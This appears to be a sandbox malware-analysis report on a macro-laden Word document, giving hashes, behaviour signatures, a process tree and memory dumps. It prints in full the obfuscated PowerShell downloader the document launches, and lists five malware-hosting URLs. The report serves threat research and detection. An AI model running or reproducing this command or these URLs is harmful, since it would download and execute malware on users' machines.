Analysis

  • max time kernel
    104s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    22-05-2022 05:25

General

  • Target

    fvmnoedv.doc

  • Size

    225KB

  • MD5

    573d8faaeec1daf286fcb2561dccaeae

  • SHA1

    e2d1331e2b7f36b14879f79e2bcd50b872a3465f

  • SHA256

    b6cadd34a5aee93bc88d830b2543b9adb3af8ddbd8bae4b99b03d4ec23c03ffc

  • SHA512

    4e11a0402bb0a47a4c829910bf3364231a151825faf4b35960902c71cfd93997a72c459dd06917a46e4296b2e178dad25055071f014a925cea0db6c14f0cb1af

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://fabfastfashion.com/hebes1/ppzXffY7My/

exe.dropper

http://soarflix.com/arcmulti/nA5T0999/

exe.dropper

http://cloudcertitude.com/mail/Ord4990/

exe.dropper

https://fzweiming.com/wp-content/Mz2592/

exe.dropper

http://billingup.com/wp-admin/MfFw298/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fvmnoedv.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABIAEMATQBVAFMAZQBqAG8APQAnAFQAVABMAFkAVABmAGQAZwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAcgBgAGkAYABUAFkAYABwAHIAbwBUAG8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABCAEwAUwBUAEgAawBsAHAAIAA9ACAAJwA0ADYANgAnADsAJABSAFcAVwBHAFUAZABsAHYAPQAnAEkASQBOAEgAUgB1AHMAeAAnADsAJABCAFIASABZAEkAagBrAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEIATABTAFQASABrAGwAcAArACcALgBlAHgAZQAnADsAJABHAFkARABPAFUAdQByAGUAPQAnAEMAUwBNAFAAQgB5AGQAeQAnADsAJABNAFQARwBUAEcAYwBoAGQAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAEIAQwBsAEkARQBOAHQAOwAkAFEARQBGAFIAUwBuAG4AaAA9ACcAaAB0AHQAcAA6AC8ALwBmAGEAYgBmAGEAcwB0AGYAYQBzAGgAaQBvAG4ALgBjAG8AbQAvAGgAZQBiAGUAcwAxAC8AcABwAHoAWABmAGYAWQA3AE0AeQAvACoAaAB0AHQAcAA6AC8ALwBzAG8AYQByAGYAbABpAHgALgBjAG8AbQAvAGEAcgBjAG0AdQBsAHQAaQAvAG4AQQA1AFQAMAA5ADkAOQAvACoAaAB0AHQAcAA6AC8ALwBjAGwAbwB1AGQAYwBlAHIAdABpAHQAdQBkAGUALgBjAG8AbQAvAG0AYQBpAGwALwBPAHIAZAA0ADkAOQAwAC8AKgBoAHQAdABwAHMAOgAvAC8AZgB6AHcAZQBpAG0AaQBuAGcALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBNAHoAMgA1ADkAMgAvACoAaAB0AHQAcAA6AC8ALwBiAGkAbABsAGkAbgBnAHUAcAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ATQBmAEYAdwAyADkAOAAvACcALgAiAHMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATABWAFMAUgBHAGkAbwBmAD0AJwBGAE0AVABFAEIAaABxAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEIAUQBZAFMASABoAHoAYQAgAGkAbgAgACQAUQBFAEYAUgBTAG4AbgBoACkAewB0AHIAeQB7ACQATQBUAEcAVABHAGMAaABkAC4AIgBEAE8AYABXAG4AbABgAE8AQQBkAGYAaQBMAEUAIgAoACQAQgBRAFkAUwBIAGgAegBhACwAIAAkAEIAUgBIAFkASQBqAGsAeAApADsAJABFAEMAQgBCAFAAcQBlAGoAPQAnAEkAUwBHAE8ARQB0AGQAZwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEIAUgBIAFkASQBqAGsAeAApAC4AIgBMAGAAZQBOAGcAVABIACIAIAAtAGcAZQAgADIAMQA0ADgANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGUAYABBAFQAZQAiACgAJABCAFIASABZAEkAagBrAHgAKQA7ACQAUABTAFUAWgBPAG4AbAByAD0AJwBZAFIARQBaAEMAbAB5AHYAJwA7AGIAcgBlAGEAawA7ACQASgBHAEIATgBYAGYAZwBtAD0AJwBSAEkAQQBBAFUAZgB3AGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgBEAE4ATwBEAHkAeQBrAD0AJwBEAFQARABDAEYAeQBvAHgAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1728

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1304-65-0x0000000000000000-mapping.dmp
    • memory/1672-60-0x0000000000806000-0x000000000080A000-memory.dmp
      Filesize

      16KB

    • memory/1672-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1672-57-0x00000000763C1000-0x00000000763C3000-memory.dmp
      Filesize

      8KB

    • memory/1672-58-0x000000007128D000-0x0000000071298000-memory.dmp
      Filesize

      44KB

    • memory/1672-59-0x0000000000806000-0x000000000080A000-memory.dmp
      Filesize

      16KB

    • memory/1672-54-0x0000000072821000-0x0000000072824000-memory.dmp
      Filesize

      12KB

    • memory/1672-55-0x00000000702A1000-0x00000000702A3000-memory.dmp
      Filesize

      8KB

    • memory/1672-67-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1728-61-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp
      Filesize

      8KB

    • memory/1728-62-0x000007FEF3940000-0x000007FEF4363000-memory.dmp
      Filesize

      10.1MB

    • memory/1728-63-0x000007FEF2DE0000-0x000007FEF393D000-memory.dmp
      Filesize

      11.4MB

    • memory/1728-64-0x0000000002340000-0x00000000023C0000-memory.dmp
      Filesize

      512KB